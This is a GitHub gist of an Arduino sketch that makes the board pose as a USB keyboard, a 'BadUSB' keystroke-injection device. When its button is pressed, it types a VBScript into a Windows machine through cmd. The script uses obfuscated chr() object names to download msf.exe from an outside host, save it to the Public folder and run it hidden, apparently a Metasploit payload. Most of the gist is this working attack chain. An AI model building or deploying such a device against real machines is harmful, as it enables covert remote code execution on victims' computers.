Skip to content

Instantly share code, notes, and snippets.

@ngharo
Created June 12, 2012 02:36
Show Gist options
  • Save ngharo/2914037 to your computer and use it in GitHub Desktop.
Save ngharo/2914037 to your computer and use it in GitHub Desktop.
Arduino HID
#include "UsbKeyboard.h"
#define BUTTON_PIN 12
#define BYPASS_TIMER_ISR 1
void setup() {
pinMode(BUTTON_PIN, INPUT);
digitalWrite(BUTTON_PIN, HIGH);
#if BYPASS_TIMER_ISR
TIMSK0&=!(1 << TOIE0);
#endif
}
#if BYPASS_TIMER_ISR
void delayMs(unsigned int ms) {
for (int i = 0; i < ms; i++) {
delayMicroseconds(1000);
}
}
#endif
void loop() {
UsbKeyboard.update();
if (digitalRead(BUTTON_PIN) == 0 && digitalRead(13) == LOW) {
play();
}
#if BYPASS_TIMER_ISR // check if timer isr fixed.
delayMs(20);
#else
delay(20);
#endif
}
void usbsend(char* str)
{
int len = strlen(str);
boolean upper;
for(int num=0;num {
byte val;
switch (str[num]){
case '>':
UsbKeyboard.sendKeyStroke(55, MOD_SHIFT_LEFT);
break;
case '&':
UsbKeyboard.sendKeyStroke(36, MOD_SHIFT_LEFT);
break;
case '+':
UsbKeyboard.sendKeyStroke(46, MOD_SHIFT_LEFT);
break;
case '/':
UsbKeyboard.sendKeyStroke(56);
break;
case ';':
UsbKeyboard.sendKeyStroke(51);
break;
case ')':
UsbKeyboard.sendKeyStroke(39, MOD_SHIFT_LEFT);
break;
case '(':
UsbKeyboard.sendKeyStroke(38, MOD_SHIFT_LEFT);
break;
case ',':
UsbKeyboard.sendKeyStroke(54);
break;
case '"':
UsbKeyboard.sendKeyStroke(52, MOD_SHIFT_LEFT);
break;
case '.':
UsbKeyboard.sendKeyStroke(55);
break;
case ' ':
UsbKeyboard.sendKeyStroke(44);
break;
case '\\':
UsbKeyboard.sendKeyStroke(49);
break;
case '=':
UsbKeyboard.sendKeyStroke(46);
break;
case ':':
UsbKeyboard.sendKeyStroke(51, MOD_SHIFT_LEFT);
break;
default:
if (isupper(str[num])) {
upper = true;
} else {
upper = false;
}
val = str[num];
if (val >= 65 && val <= 90)
val -= 61;
else if (val >= 97 && val <= 122)
val -= 93;
else if (val >= 48 && val <= 57)
{
if(val == 48)
val = 39;
else
val -= 19;
}
}
if(upper){
UsbKeyboard.sendKeyStroke(val, MOD_SHIFT_LEFT);
}else{
UsbKeyboard.sendKeyStroke(val);
}
val = 0;
}
}
void play(){
digitalWrite(13, HIGH);
UsbKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
delayMs(1000);
usbsend("cmd");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
delayMs(400);
usbsend("edit c:\\Users\\Public\\go.vbs");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
delayMs(100);
usbsend("a = \"https://dc414.org/tmp/msf.exe\"");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("b = \"c:\\Users\\Public\\msf.exe\"");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("seT c=CreATEobJeCt(chR(77)&chr(83)&cHr(88)&chR(77)&chR(76)&Chr(50)&ChR(46)&chr(88)&cHr(77)&Chr(76)&cHr(72)&Chr(84)&CHr(84)&Chr(80))");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("c.open \"GET\", a, false");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("c.send()");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("Set D=cReAtEoBJECt(CHR(65)&cHR(68)&ChR(79)&CHr(68)&cHr(66)&Chr(46)&chr(83)&chr(116)&chR(114)&CHr(101)&chr(97)&chR(109))");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("d.Open");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("d.Type = 1");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("d.Write c.ResponseBody");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("d.Position = 0");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("Set E=CreaTeOBjEcT(CHr(83)&CHr(99)&cHR(114)&cHr(105)&CHr(112)&Chr(116)&chr(105)&CHr(110)&CHr(103)&CHr(46)&chr(70)&chr(105)&chR(108)&CHr(101)&chR(83)&CHr(121)&chr(115)&cH
R(116)&Chr(101)&ChR(109)&Chr(79)&chr(98)&Chr(106)&cHR(101)&Chr(99)&ChR(116))");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("Set e = Nothing");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("d.SaveToFile b");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("d.Close");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("Set d = Nothing");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("SET F=wscRIPT.CREatEObjEcT(cHr(87)&cHr(83)&ChR(67)&chR(114)&cHR(105)&cHr(112)&chr(116)&ChR(46)&ChR(115)&CHr(104)&chr(101)&cHR(108)&chr(108))");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("F.RuN cHr(99)&cHr(58)&Chr(92)&ChR(92)&ChR(85)&ChR(115)&chR(101)&chR(114)&cHR(115)&ChR(92)&ChR(92)&CHr(80)&CHR(117)&chR(98)&cHr(108)&chr(105)&chR(99)&ChR(92)&chr(92)&ChR(
109)&CHr(115)&cHr(102)&CHR(46)&CHr(101)&Chr(120)&CHr(101),((&HE478)/(&h2614)),TRUE");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("Set f = nothing");
UsbKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT);
UsbKeyboard.sendKeyStroke(KEY_S);
UsbKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT);
UsbKeyboard.sendKeyStroke(KEY_X);
delayMs(100);
usbsend("start WScript c:\\Users\\Public\\go.vbs");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
usbsend("exit");
UsbKeyboard.sendKeyStroke(KEY_ENTER);
digitalWrite(13, LOW);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment